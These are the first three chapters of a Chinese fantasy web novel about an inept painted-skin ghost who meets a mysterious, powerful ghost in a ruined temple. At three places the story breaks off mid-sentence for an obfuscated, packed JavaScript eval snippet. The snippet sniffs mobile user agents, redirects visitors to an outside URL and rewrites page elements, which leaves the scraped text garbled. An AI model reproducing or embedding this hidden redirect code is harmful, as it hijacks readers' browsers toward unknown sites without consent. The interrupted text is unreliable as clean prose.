《找个眼瞎的夫君不容易》 1. 且听春 开春时节,万物破晓,又是一年进京赶考时。 秦淮河畔,身着白衣,头戴高帽的少年郎们,背着行李,三五成群,随着缓缓流淌的秦淮河水一同奔向京都。 秦淮河水缓缓流淌,秦淮河旁胭脂香里,一位位舞女在高楼之上掩面轻语,望着楼下的少年郎们,讨论着哪个是往年的熟面孔。 春日阳光正好,照得人微微发暖,这一群人中,有一位青衫书生抬头,一眼望见高楼之上,一众舞女之间一位风华绝代的美人。 他怔怔看住,那女子身段婀娜,侧倚在栏杆之上,手拿一烟斗,她的脸实在美艳动人,艳阳下,笑得温柔又妩媚,只是一瞥,便叫人魂都被勾了去。 许是看到了那书生痴痴的目光久久不散,那美人正欲抬手掩笑,恍然间,穿堂之风而过,手中丝巾飘落,书生抬手之间稳稳地接住了丝帕。 那美人匆匆下楼,不一会来到书生面前缓缓行礼,轻声说:“多谢小郎君接住奴家的丝帕”。 这一声小郎君真是叫得人漾进心里,书生愣了半晌,这才慌慌张张地将这一方丝巾折好,双手送上。 那美人轻笑两声,素手轻挑将丝帕拿回,指尖若有若无地擦过书生的手背,挑眉道:“小郎君,为表谢意,若是郎君不嫌弃,可随我上楼稍坐?” 美人这样直白地邀请,哪个寻常男人能拒绝,那书生一时面红耳赤,愣愣地只是顺着话意点头。 此时那美人眼色飞快地朝楼内角落里一扫,递了个不易察觉的眼神。 角落里,身着一身水绿襦裙的兰溪正蹲着,手里拿着一个铜镜,在脸上涂涂画画,看到眼神示意后,慌慌张张站起身来,赶紧扯了扯身上的衣裙。 她深吸一口气,扯出一个自认最温婉的笑容,扭捏的身子就迎了上去,她的声音掐得又细又柔:“姐姐,怎么好让贵客在这里站着?快些让郎君进去吧。” 说罢,她抬起头,露出她精心画好的那张初具人形的美人面。 那书生还沉浸在美人的美貌中,下意识循声转头,目光猝不及防就撞上兰溪那张眨巴着大眼睛的脸。 空气凝固了一瞬。 书生脸上的红晕瞬间转为白色,他瞳孔微缩,看着兰溪那张脸上能戳死人的尖下巴,超出比例的大眼睛,还有酷似苍蝇腿一般的眼睫毛,加上两颊的那红得发紫的腮红和大红唇,充满了大胆写意的一张脸。 书生倒吸一口冷气,眼睛迅速移开,下意识疾声大喊道:“这位娘子!别……别抬头!” 兰溪一愣,笑容僵在脸上。 啥意思? 不等兰溪反应,那书生也不迷醉了,仿佛百日见鬼一般,他连连后退,结结巴巴道:“在下……忽然想起还有急事!告辞,告辞!” 那书生踉踉跄跄就要走,兰溪想再挽留一下,上前就想搀扶一把,可书生慌不择路猛地一转身。 “咚!”那书生的额头,结结实实地撞上了兰溪那张极具冲击力的俏脸,把兰溪那张脸的鼻子给撞歪了,这下直接撞成了貌似猪鼻,脸上的各种颜色也花成一片。 “你……你不要过来啊!” 书生彻底白了脸,眼里惊恐万分,一把推开兰溪,抱起自己的书箱,头也不回地就狂奔而去。 楼里其他的舞女看到这一幕,指着兰溪的脸,忍不住低语娇笑成一片。 这舞坊名为倚香阁,穿过莺声燕语的前堂,绕过金粉牡丹的屏风,便是舞女们休憩的内室。门被“吱呀”一声重重关上,隔绝外界的喧闹。 美人关上门回头便恨铁不成钢地瞪了兰溪一眼,兰溪有些手足无措地低下那张变形的俏脸,轻轻唤了一声:“嫣娘……师父。” “别叫我师父,没有你这个徒弟,出去千万别说我是你师父!”嫣娘那张美人面气得都有些变形了,声线也粗犷起来了。 嫣娘径直走到梳妆台前坐下,抬手探到自己的耳后,熟练地一刮便从身上褪下一层皮。 那张美人面皮就这样被她剥下来,露出一张青面獠牙的面孔,她全身青幽幽的,眼睛似铜铃,鼻孔粗犷,嘴巴还有两颗獠牙,一副夜叉模样。 嫣娘随手把那美人皮像挂衣服一样往旁边架子上一搭,然后大马金刀地坐在凳子上,跷起二郎腿,摸出一根细长的烟杆,点上烟后啪嗒啪嗒就开始抽起烟来。 烟雾缭绕间,她脸上满是气闷,用烟杆点了点兰溪,开始数落:“好好的,到手的鸭子就飞了!那二愣子书生瞧着好忽悠,阳气足,老娘眼看就要领进来了!你倒好……又给人吓跑了!” “兰溪啊,不是我说你,咱们画皮鬼,虽然天赋有高低,老娘活了三百年,像你这样的,我是头一回见!” 兰溪拿着一个小铜镜,尽力把自己被撞歪的鼻子掰回来,她看着镜子里自己的脸,这是她研究了大半夜的新作,特意画了大眼睛和樱桃唇。 兰溪念叨道:“我……照着师父的皮画的,我觉得……还挺精神的,这是我画得最好的一次了。” 嫣娘看着兰溪那张像刚进化出人形的脸,一高一低的眼睛,嘴巴就像吃了十斤火龙果没擦嘴,一时气愤间,手里的烟杆被她用力折断。 “照着老娘的皮都能画成这样!我教了你这么久!朽木不可雕也……而你,连一块木头都算不上,你就是团泥巴,还是和稀的烂泥!” 兰溪窝窝囊囊地没敢说话,嫣娘重新拿了个烟斗,又猛抽几口烟,这才平复了心情道。 “我在这金陵城里,靠着这手画皮的功夫和察言观色的本事经营这倚香阁,好歹在这一片妖鬼精怪里有些名气,我的徒弟都有些本事,你是我带过最差的一个!我只求你出去千万别说师父是我,其他画皮鬼都要笑掉大牙了!” …… 兰溪垂着脑袋,小学生坐姿坐在一旁,看着嫣娘那痛心疾首的样子有些恍惚,特别像她穿书之前,那位盯着她的论文眉头紧锁、好像在看垃圾一样的研究生导师。 兰溪原本是现代某高校在读研究生,日常就是在导师的连环质疑中艰难度日,没想到有一天赶论文猝死,眼睛一睁,就穿越到一本她睡前随便翻过的志怪仙侠小说里。 最离谱的是,她没能穿成女主或者女配,甚至没能穿成一个有名字的路人,而是原著中一只在江南某镇作乱,最后被路过的主角团替天行道轻松斩杀的画皮鬼。 她来到这个世界的任务,就是为了衬托主角团英明神武的一个小小的炮灰反派,然而炮灰也有炮灰的使命,她脑子里的系统冷冰冰给她派了个任务: 【请按照原主身份行为逻辑,画皮蛊惑人,利用美色勾引男人作恶,完成作乱一方任务,促使主角团抵达将您清除。任务完成,即可返回原世界。】 这个系统简直把兰溪当成群演一样随便,三言两语发完任务,然后再也没有出现过了,按照兰溪的理解,就是体验一下反派龙套,完成任务就能领盒饭。 于是,画渣兰溪,被迫拿起画笔开始了噩梦一般的学画皮生涯,她从小就是个灵魂画手,上一次认真画画还是在小学美术课,所以画出来的脸每一笔都出人意料。 兰溪突然想到是不是可以做个弊,拿导师的作品去上交,她笑着看向嫣娘那张美人皮,问:“师父,你画的皮那么好……能不能帮我画一张皮,师父代笔,徒弟受益嘛。” “咳咳……”嫣娘听了这话,吸进去的一口烟差点呛死,她不可思议地看着兰溪。 “亏你想得出来,你作为一只画皮鬼还要让别人给你画皮,简直是咱们一族的奇耻大辱!我们画皮鬼只能自己画皮,要是强用了别人画的皮,会强遭反噬,灰飞烟灭的,除非……” 嫣娘顿了顿又道:“除非是能遇到修为通玄,对魂魄变形之道了解至深的大能,或许能用无上法力为我们勾勒甚至重塑更好的皮囊,但那种人物,岂是我们这种小妖能遇到的,我修行了几百年,也远远不及。” 兰溪听了这话,心凉了一半。 这下要等到什么时候才能完成任务啊! 嫣娘上下打量了一番兰溪,得出结论:“你嘛……靠你这双手,想光天化日之下成功,我看是难。” 说罢,她又像是想到了什么,又道:“不过你倒是可以蒙着脸,趁着晚上行动,晚上看不清脸,倒是依稀有个人形。” 嫣娘犹犹豫豫的,最后咬咬牙从腰间解下来个钱袋子,扔给兰溪,摆摆手开始赶人:“喏,拿着,这几日城里正逢春社,办起了灯会,热闹得很,你去买个像样点的帷帽遮着脸。” 兰溪接过那个钱袋子,觉得可行,认真地点点头。 “但愿今晚能让你碰到个眼瞎的……”嫣娘最后扭着青幽幽的身子嘀咕道。 * 兰溪此时正戴着刚买的帷帽站在熙熙攘攘的大街上,金陵城是江南最繁华的都城,整条街流光溢彩,恍如白昼,游人摩肩接踵,笑语不停。 兰溪一边走一边张望,她四处寻找着目标,说起来她长这么大连恋爱都没好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202728|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好谈过,现在要她去勾引男人,她只觉得脚趾能在鞋子里抠出一座倚香阁。 其实她真正的属于兰溪这个身体的原皮,并不像其他画皮鬼那样青面獠牙,她脱去画出的皮囊,原皮就是自己原本的样貌,她原本的样貌算不上大美人,但也绝对说不上丑,是个清秀干净的姑娘。 但作为一只画皮鬼,按照人设她只能以画皮见人,一旦以原皮活动,便阴气无法掩藏,容易被人看破引来麻烦。 兰溪一边出神,一边在街上踢石子,旁边传来了一阵微不可察的叹息。 兰溪循声望去,只见街边一个灯火稍暗的角落,有一个简易的算命小摊,小摊上坐着一个清瘦的老道,那老道只是低头摆弄着一个八卦图,也没看兰溪,只是自言自语。 “没想到画皮那一窝,也能出一个这么磕碜的……” 兰溪听了这话,身子一僵,这个老道莫非是修士,竟能看出她的真身。 兰溪有些警惕的后退一步,心里思索着自己要不要先跑为妙。 可那老道却懒散的靠在椅子上,用余光撇了一眼兰溪:“老夫我今日懒得动弹,上天有好生之德,像你这么鳖脚的精怪,抓了都嫌费符纸。” 兰溪:“……” 作为一只画皮鬼,兰溪已经是连被抓妖的价值都没有了。 见那老道没有动手的意思,兰溪凑上去一小步,隔着帷帽轻纱,小声问:“前辈……你是怎么看出我不是人的?” 老道这回终于正眼瞧了一眼兰溪,隔着轻纱间的缝隙,一眼看见兰溪那张视觉冲击的脸,他的嘴角微妙的抽动了一下。 老道表情复杂开口:“小娘子,你这笔力倒是超凡脱俗,自成一派,你这副尊容,看出你是人,那才是见了鬼了!” 兰溪感觉被噎了一下,帷帽下的那张脸青一阵红一阵,她站在原地,心里拔凉拔凉的,别说这本书的主角团还不知道在那个天涯海角,眼下她自己的这个任务就寸步难行,还被个路边算命的嫌弃业务水平。 兰溪想了想,从腰间掏出嫣娘给自己的那个钱袋子,掏出几枚铜钱轻轻放在老道的算命桌上:“前辈……能不能请您给我算一卦?” 老道撩起眼皮,看了眼桌上的铜钱,又看了看兰溪:“哦……算什么?” “算我今晚往哪个方向走……能遇上搭得上话的男子。”兰溪压低声音道。 老道闻言大笑,拈起那几枚铜钱,开始起卦:“也罢,老夫今日忙着收工,为你这小鬼算一卦也无妨。” 老道把几个铜钱撒在八卦图上,又伸手掐算几下,末了,他抬起手,指向长街的一个方向,那里灯火渐稀,只有城门黑黢的轮廓。 “城东,三里外,有一个荒废的祈灵庙,或有大机缘。” * 听了那老道一句指引,兰溪逆着人流,便往城东而去,越往郊外走人烟便越是稀少,喧嚣声渐渐听不见,只有夜深她孤寂的脚步声。 兰溪提着一盏融融小灯,越往那庙宇的方向走,不知何时便起了大风,天气骤变,风夹着雨雪打在她的帷帽上,初春的寒风刺骨的冷。 说来这个季节的江南下起雪也是难见,这天气突然间便雾蒙蒙的一片。 兰溪把身上的斗篷裹得再紧一些,简直像个行走的卷饼,她缩着脖子开始嘀咕:“那算命的老道……该不会觉得我讨嫌,随便给我指了个地方打发了吧?” 兰溪只觉得看这里就不像什么好地方,一个人影也看不到,反倒是她自己喝了一肚子的冷风,谁家好人家不睡觉大晚上跑到这儿来?除非脑子不太聪明。 帷帽上的轻纱被雨雪打湿,就紧紧地贴在脸上,湿湿黏黏地模糊兰溪的视线。 “真是碍事!”兰溪终于受不了了,一把把帷帽扯开,想了想没舍得扔,好歹是花钱买的,于是把湿透的帷帽塞进怀里。 风雪越来越大,兰溪深一脚浅一脚提着一盏小灯迎风走着,直到她眯起被风雪迷住的眼睛,倒是真的看到前方有一座庙宇的轮廓。 兰溪提着那盏微弱的小灯,小心翼翼推开半掩的庙门,她没有急着进去,而是缩在门边,先探出半个脑袋,向内张望。 庙里一阵阴冷气息扑面而来,兰溪直打哆嗦,这庙里怎么比外头还冷。 灯笼微弱的光晕荡开,照亮庙里满地狼藉,地上堆满了碎瓦、断木,一片凌乱间,光影摇曳,兰溪的目光越过满目混乱,在庙宇中间那残破神台座基上,还真有一个人影坐在其中。 2. 且听春 兰溪探着脑袋仔细看去,那是一个年轻男人,他背对着门口席地端坐,上半身赤裸着,没穿外衣,彼时朦胧的天光从屋顶一个破洞倾泻而下,落在那人身上,恰好勾勒出他的身形。 天上漏下的光柱,尘埃和细小的雪花在其中无声飞舞,那人就这样坐着,一动不动,像一尊完美的菩萨像,他背部细条流畅分明,在微光下泛着冷玉般的色泽,他墨黑的长发未束,有些凌乱地披散在肩颈。 从来只听过瑶台飞仙,这样荒芜到极致的庙宇,竟然有这样俊美无俦的神邸。 兰溪看了半天,心里想着这破庙里还真有人,这男人不穿衣服,也不怕冷? 莫非是脑子不太清醒?算了,管他是什么人,兰溪想着自己都来了,怎么也要试一试,今晚,遇上她这个画皮鬼了,算这人倒霉! 兰溪深吸一口气,想起志怪小说里的套路,用细弱的声音开口询问:“小女子……途经此地,风雪实在太大,不知能否进来暂避片刻歇歇脚?” 话音落下,那石台上坐着的男人,极其缓慢地,动了一下指尖,周围只有死一般的寂静,无人应答,只有风雪呼啸。 兰溪等了一会,见那人没有反应,心想:莫非是个聋子?或者……这人可能真的脑子不好,长这么好看,真是可惜。 见男人不理自己,兰溪只好厚着脸皮走进去,她提着那盏光线昏暗地向男人靠近,越是靠近,越是清晰地看见他匀称的肩臂肌肉线条,微微低垂的颈项,还有在墨发下若隐若现的蝴蝶骨,都笼罩着一层朦胧的光晕。 真好看啊……兰溪心里默默想着,她犹豫了一下,在男人身边一处平整干净的地面坐下。 看着男人赤裸的上身,兰溪动手解下自己身上那件雪白的斗篷,笨拙地披在男人的肩上。 男人依旧没动,但在兰溪为他披斗篷时的那一瞬间,他极缓慢地抬起眼睫。 兰溪对上了他的眼睛,他的眼睛泛着红色的血丝,眼瞳是漆黑的,深不见底,没有任何情绪,没有惊诧,没有厌恶,偏偏他的眼睛生的极美,像是最浓的丹青细细描绘,长长的睫毛投下一小片阴影压着眼尾的嫣红,一张脸像是上好的冷玉镌刻。 四目相对,兰溪想起自己那张画出的灾难一样的面皮,现在她没戴帷帽,全部暴露出来,她忙别开脸去,把自己缩进阴影里。 “我……我没有恶意,看你没穿衣服,风雪太大,怕你冷……” 兰溪一边嗫嚅,一边又有些羞窘,她想着这人也不愿意和自己说话,不会觉得自己又丑又冒犯吧?要是又被自己吓跑了怎么办? 那坐着的男人,偏过头去,静静看着有些手足无措的兰溪,没有情绪的眼眸极其细微地波动一下。 在兰溪的视角里,自己只是在一座荒山破庙里,遇到一个好看的落魄男人。 但此时如果换成旁人来看这座庙宇,便会看到与兰溪所见截然不同的地狱场景。 这座荒废的破庙里,以沉默静坐着的男人为中心,冲天一般浓稠黏腻的鬼气,正从男人的身下的阴影流向背后的虚空,从每一寸墙壁地面上渗透出来,这些鬼气化成化作无数或是粗壮或是纤细的黑色触须,这些黑色触须布满庙堂的每一个角落,张牙舞爪地蠕动着。 兰溪眼里看似空荡的墙壁上,实际高悬着一具具姿态各异的尸体,有的穿着道袍,有的则是挣扎着的恶鬼,一句句尸体带着惊骇扭曲的面容,被黑色触须缠绕着脖颈,如同蛛网上的飞虫。 那些黑色的触须正在无声地吞噬尸体,触须末端探入尸身,尸身便已开始干瘪消融,被无声地剥离吸收。 这整座庙宇就像一个巨大的胃袋,煞气冲天,鬼影幢幢,黑色触须无声伸出蔓延,而就在其中,披着雪白斗篷的俊美男子微微偏头,看着坐在他几步之外,一只侧着头不敢看他的小画皮鬼身上。 “这里……真冷啊。”兰溪见男人只是看着自己,有些尴尬,搓了搓手,开始没话找话,她目光在庙里张望:“得生火才行,不然咱俩都得冻僵。” 兰溪喊着自己冷,原本地上因鬼气而结上的霜花,开始慢慢消融。兰溪放下灯笼,开始在庙里四处寻找能点燃的木头,她看见地上有碎木便拾起来抱着。 在她看不见的地方,那些黑色触须在她靠近时,便无声地缩回避让。 兰溪浑然不觉,她抱着零零散散的碎木走到石台附近,拢到一起,然后掏出随身带着着火折子,费力吹燃,尝试着去点火。 可是木材太过潮湿,兰溪试了几次也没能成功,柴火燃不起来,只有呛人的青烟生起。 “奇怪,怎么就是点不着……”兰溪皱起眉头嘟囔。 坐在她旁边的沉默的男人,搭在膝上的手指,极其轻微地动了动。 一缕极为微弱的鬼气,从他的指尖逸出,贴着地面钻进那堆潮湿的木材中。 “噗!”一团明亮的火焰猛地从那堆火柴中升腾起来,火光照亮兰溪惊喜的脸,她低呼一声:“着了!终于着了!” 有了火光,气氛也缓和了些,兰溪没敢和男人面对着坐,怕对方看见自己这张脸,只是侧身与他并排坐着,她热络地招呼道:“这位郎君……你也坐过来些吧,火边暖和。” 那男人微微侧耳,良久拢了拢身上兰溪的那件雪白斗篷,柔软干净的不染凡尘,带着风雪的凛冽和一点点兰溪身上的体温,他听话的真的靠近了些。 为了打破沉默,兰溪决定主动自我介绍:“我叫兰溪,兰花的兰,溪水的溪,郎君你怎么称呼?” 男人听了兰溪的话,沉默片刻,就在兰溪以为他不会回答的时候,却听见他开口,他的声音比想象的要清冽一些,语调平淡,没什么起伏。 “兰溪……”他长睫低垂,低声重复了一遍,然后缓缓道:“兰溪春尽碧泱泱。” 兰溪愣了一下,然后点点头笑着回复:“对,我的名字是出自这首诗。” 兰溪脸上笑着,心里却想,这人张口就是诗句,想必是个书生,大半夜流落在这破庙里,连件衣服也穿不起,这穷书生也怪可怜的。 “名字很好听。”男人脸上浅浅笑意,顺口夸赞了一句。 那男人唇角微微上扬,牵出一点清浅的笑意,眼里漾出温柔的涟漪,兰溪看入了神,近看之下,他实在太好看,兰溪瞬间觉得有些自残形愧了,明明她才是那个来勾引人的画皮鬼。 兰溪侧过脸去,将脸隐在黑暗里,不好意思地笑笑:“郎君过奖了,不过我人长得一般,也就名字还能听听。” “不会。”男人却摇了摇头,目光落在兰溪身上,声音平淡而清晰:“名如其人,都很好。” 兰溪听了这句,猛地转过头去,难以置信地望着他,火光下,男人侧脸平静。 这男人夸她!居然在夸她!她顶着这张鬼画符一样的脸? 兰溪强压下要咧到耳根的嘴角,但是眼里的惊喜藏也藏不住。 他眼瞎!他真的眼瞎! 终于!终于让她遇到一个眼神不好的,还瞎得这么有品位的美男! 兰溪一下子觉得有戏,她声音也雀跃几分:“郎君,我一看你就是个好人!你人长得俊,话不多,但说话好听。” 兰溪这么说着,却全然不觉在她身后的阴影里,一条细细的的黑色触须,从黑暗里悄悄探出,悬停在兰溪的披散的发梢附近,那黑色触须小心翼翼地勾起一缕她的头发,轻轻绕着又松开,像是在新奇地把玩。 端坐的男人,淡淡的目光有意无意地扫过那片阴影。 那缕玩头发的触须,像是被震慑住,猛地一顿,立刻松开发丝,飞快缩回黑暗里。 兰溪只觉得后颈好像有微凉的气息拂过,她下意识用手摸了摸,却什么也没有,只是打趣一句:“这庙里还漏雨啊。” 兰溪又往前挪挪,离火堆和那男人更近了些,她话匣子打开又问:“还不知道郎君怎么称呼呢?是哪里人?家住附近吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202729|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看郎君的气度,可是要赶考的书生?” 兰溪已经在脑海里自动脑补了一套落魄书生剧本,问题一个接一个往外冒。 男人沉默了片刻,目光在兰溪亮晶晶的眸子上停留了一瞬,才缓缓开口:“许多年没人问起我的名字了……我叫卫祁,家……住在离这很远的地方。”说完,他用手指了指地下。 兰溪觉得他的名字有几分耳熟,却也想不起来,他家很远?兰溪理解地点点头,大概是某个偏远的州县吧。 “此番并非赶考,只是路过此地,处理了一些……不顺眼的人。”他语气平淡,视线落在跳跃的火苗上。 不顺眼的人?难道是家族事务,兰溪自行理解着,越发觉得他像是家道中落,遇到了难处,才流落在此,连件像样的衣服都没有。 兰溪想到自己晚间在街上买了几个酥饼,她还剩下一个包好存着,于是在怀里掏出油纸包打开。 她猜测这书生连衣服也没有,想必也没钱吃饭,想把一整个酥饼给他,但又觉得太像施舍,于是把酥饼一分为二,递了一半过去。 “这个给你,我们一起吃。”卫祁看着兰溪那双小手捧着半个酥饼过来,想了想还是接过,放在唇边轻咬了一口。 兰溪看他吃了,自己也咬了咬了一口酥饼,眼睛转了转,斟酌着问出了最关键的问题:“那卫郎……你可有婚配?” 卫祁听了这问题,愣了愣,他淡淡的眸光动了动,抬眼看了一眼兰溪,又垂下眼睫回道:“不曾。” 兰溪心里暗喜,表面还在维持淡定。 单身!好看!眼瞎!还落魄!老天爷开眼,这就是给她量身定制的完美目标! 兰溪抬起头,努力让自己那张脸笑得不那么狰狞,她回道:“这样啊,卫郎这般人品才貌,定是缘分未到,不过这缘分……说来就来的。” 火光噼啪一声,爆开一朵朵火花,映照两人之间的方寸之地,卫祁将兰溪灿烂的笑容尽收眼底,幽深的眸子里映照出跳动的暖光。 身后的阴影里,那布满庙宇的黑色触须把尸体吃了个干净,然后渐渐消退缩小,最后变成一小条像藤蔓一样的末梢,乖巧起来卷曲趴在二人旁边。 破庙外风雪不停,庙里一小簇火光的暖融,兰溪一边咬着酥饼,一边开始找些轻松的话题闲聊,偶尔说点无关紧要的见闻,还吐槽几句自己最讨厌画画了,卫祁就认真看着她絮絮说道,偶尔应和几句。 兰溪也渐渐忘记最初的紧张和算计,只是在这荒废的破庙里,对着一个眼瞎心善的俊美书生多倾诉了几句。 直到她再一次添柴时,偶然瞥见庙门外天色渐亮,透出了灰蓝色的天光,风雪也停了。 兰溪这才惊觉天亮了,她竟然在这里待了一宿,兰溪活动了一下身子,觉得自己差不多该走了。 但她又看了眼卫祁,他一直保持着坐姿,肩上披着兰溪的那件斗篷,兰溪觉得他真是可怜,在这破庙冻着,连件换洗的衣服都没有。 兰溪想了想,从怀里摸出嫣娘给的那个钱袋子,里面还有几块碎银,她把钱袋子递过去道:“卫郎,你我有缘,这个……你拿着,虽然不多,但够你买身厚实衣裳,再找个干净的客栈住下,吃点热乎的。” 兰溪顿了顿,怕伤了这书生的自尊,又补充道:“算是……我借给你的,多谢你让我避雪,还听我讲了这么多废话。” 卫祁垂眸,看着兰溪递过来的钱袋子,并没有立刻去接,眼里多了几分困惑。 兰溪以为他不好意思,干脆拉起他的手,把钱袋子直接塞进他手心:“你就收下吧!” 做完这些,兰溪心里又有了一些小心机,她带着期待开口:“我的斗篷你先穿着,反正我用不着,我就住在城里的倚香阁,我是里面的舞女。” “你若是想还我斗篷,或者……还想见我,明晚秦淮河畔还有灯会,不如……我们约在明晚酉时三刻,地点在秦淮河最大的那座石桥上,如何?” 3. 且听春 兰溪说完就看着眼前的男人,等着他给出回复。 卫祁握着兰溪那个钱袋子,指尖无意识摩挲一下上面的绣线,抬眼对上兰溪那双亮晶晶的眼睛。 片刻寂静,他最终几不可见地点了点头,他的声音清澈平淡,应允道:“好。” 兰溪脸上绽开笑容,她挥挥手道:“那可说定了!你多保重,明天见。” 说完,兰溪转身脚步轻快地朝庙门而去,推开吱呀作响的破门,门外正好雪后初霁,寂静无人,兰溪踏入洁白之中,身影渐渐远去。 卫祁看着兰溪离去的背影,又低头摩挲起那件雪白的斗篷上柔软的面料,眸光动了动。 天光彻底亮起,兰溪拖着有些疲惫的身子,两颊被冷风吹得发红,才走回城中的倚香阁,她去后门小院敲了敲门,嫣娘探出美艳的面庞,忙把兰溪拉了进去。 嫣娘脸上还带着几分担忧,她上下打量了一下兰溪,确实兰溪完好无损,这才瞪了一眼兰溪道:“兰溪,你这死丫头跑哪去了?一晚上也没回来。” “昨晚城东出了大事!那一片煞气冲天,隔着几条街都能感受到百鬼哀嚎,好多修士的气息都往那边聚,像是有不得了的大人物现世,你一晚上没回来,我还以为……你这笨笨的小鬼不知死活的凑上去被波及了。” 嫣娘越说越气,用手戳着兰溪的脑门:“我看你一直不回来,正要带人去找你呢!” 嫣娘的声音惊动了内室,很快几个穿着各色寝衣,睡眼惺忪却面容姣好的女子走了出来,这些都是倚香阁的舞女,同时也是画皮鬼,算是兰溪的师姐们。 “小师妹回来了?”一个穿着鹅黄衬裙,名字叫柳梢的画皮鬼打了个哈欠道:“小师妹,你可把师父急坏了,一宿都没睡好,光念叨你了!” “就是啊,我们还商量着,要是你天亮还不回来,我们就分头去寻你。” 另一个穿一身月白的画皮鬼,名叫云婵,是兰溪的大师姐,她把兰溪拉过来,倒了杯茶递给兰溪:“喝口水吧,看你冻得……昨晚哪去了?” 面对嫣娘和师姐们七嘴八舌的关心,兰溪心里一暖,她笑着安抚道:“我没事,不用担心我,刚刚师父说城东有大事发生,我却没看到,但我昨晚还真有了收获。” “什么收获?你看着像是逃难回来的。”嫣娘用那双美目狐疑地打量着兰溪,见她衣裙上还染着污尘。 兰溪却微微得意,压低声音:“我昨晚在城东破庙里,看见一个落魄书生,还与他搭上话了。” “破庙里?”柳梢挑了挑眉笑道:“小师妹,你看错了吧?那种地方只有又穷又丑的乞丐,哪来的书生。” “才不是!”兰溪立刻反驳,脸上有些发烫:“是个书生!他长得特别特别好看,好看都不像凡人,比我们画出来的都好看。” “画出来的……哈哈哈小师妹,你画出来的这张脸,谁看了不被吓跑?”柳梢不以为然地大笑。 兰溪却扬起眉毛道:“没有!他看了我的脸也没被我吓跑,还夸了我几句,说完名字好听,人也……人如其名。” “哈?”几个师姐看着兰溪脸上那张颜色都画作一团的脸,都有些难以置信。 兰溪看其他人的表情,只好又把昨晚在破庙里与卫祁相遇的场景又讲了一遍。 听了她的叙述,几个画皮鬼面面相觑,不知道谁“噗嗤”了一声笑了出来,随即便是一阵清脆的嬉笑打闹声。 只有嫣娘听了眉头微皱,她低语一声:“奇怪……我昨夜明明感觉到城东破庙那一片地方百鬼哀嚎,煞气不散。” 嫣娘的低语并没有其他人注意,反而其他画皮鬼笑得花枝乱颤:“哎哟,我们小师妹这是走了什么运?真碰上个眼神不好的?” 云婵凑过来问:“你可问清楚那书生家中可有妻室?可别像我上次缠上的那个,看着人模狗样,结果家里有个母老虎凶得很,找了个修士差点没把我新画的皮撕了。” 其他画皮鬼听了,也附和道。 “就是,男人靠得住,母猪都会上树了!” “越是长得俊的,就越会骗人的!” 兰溪被笑得有些不好意思,但还是回答道:“我问了,他说不曾婚配,我觉得不像假的。” “男人的嘴,骗人的鬼!他说没有就没有了?说不定娃娃都会打酱油了!” “不过小师妹这张脸,那落魄书生骗她一个丑舞女图什么?难道图她长得吓人,还是图她叽叽喳喳吵个不停?” 这话引得众人又是一阵哄笑,连嫣娘都忍不住笑起来,她想到什么又问道:“我昨天给你的钱袋子呢?你可还有剩下?” 嫣娘是个守财奴,最关心钱了,她这样一问,兰溪的笑僵了僵,小声道:“我看他实在可怜,这么冷天连衣服也没有,就把钱……都给他了。” “什么?”嫣娘声音拔高:“你还没把男人勾引到手,倒是钱全贴给男人了?” 师姐们看嫣娘生气,忙打起圆场。 “师父,别生气了,小师妹好不容易才遇到一个愿意和她说话的男人。” “就是就是,一点钱罢了,下次我诓个富豪,帮小师妹补上就是。” 嫣娘看周围人护着兰溪气笑了,也不说什么了,转身进了内室,只留兰溪和一众师姐在这里。 笑闹之后,兰溪想起了正事,她开口问:“师姐们,我现在与那书生才刚刚相识,若是换作你们……接下来应该怎么做?” 柳梢拢了拢长发,不以为意道:“还能怎么办?既然搭上线了,下次见面,就找了由头,跟他回家去呗,或者直接与他成婚,等住进了他家,慢慢来,吸干他的阳气,要是那人不老实……” “那就干脆现了原形,挖了他的心肝吃,也好补一补。” 云婵点点头:“对,宜早不宜迟,你要尽快与那书生成婚同住,还要记得不要让他看到你画皮,不然他起了疑,反应过来了,去找了修士,那就难办了。” 兰溪听了一愣,下意识缩了缩肩膀,挖……挖心肝?吸阳气?她一个现代生活过的大好青年,哪里见过这种事? 兰溪脑子里想起破庙里,卫祁安静倾听她说话的侧脸,那双好看的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202730|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那样的一个人……她心里好像被针扎过了一样,泛起一丝不忍。 更何况师姐们叫她要与那人成婚,她连恋爱都没认真谈过,现在竟然路边抓个男人就要上去结婚。 “成婚?”兰溪喃喃问出。 “害,那有什么的,只要能住进人家的家里就有机会下手,我都成了八次婚了,谁在乎这个?”柳梢淡淡说道。 师姐们见她发愣,以为她是害怕了,便说道。 “别怕,小师妹,第一次都这样,习惯了就好了。” “就是,对男人可不能心软啊,有什么不忍心的。” 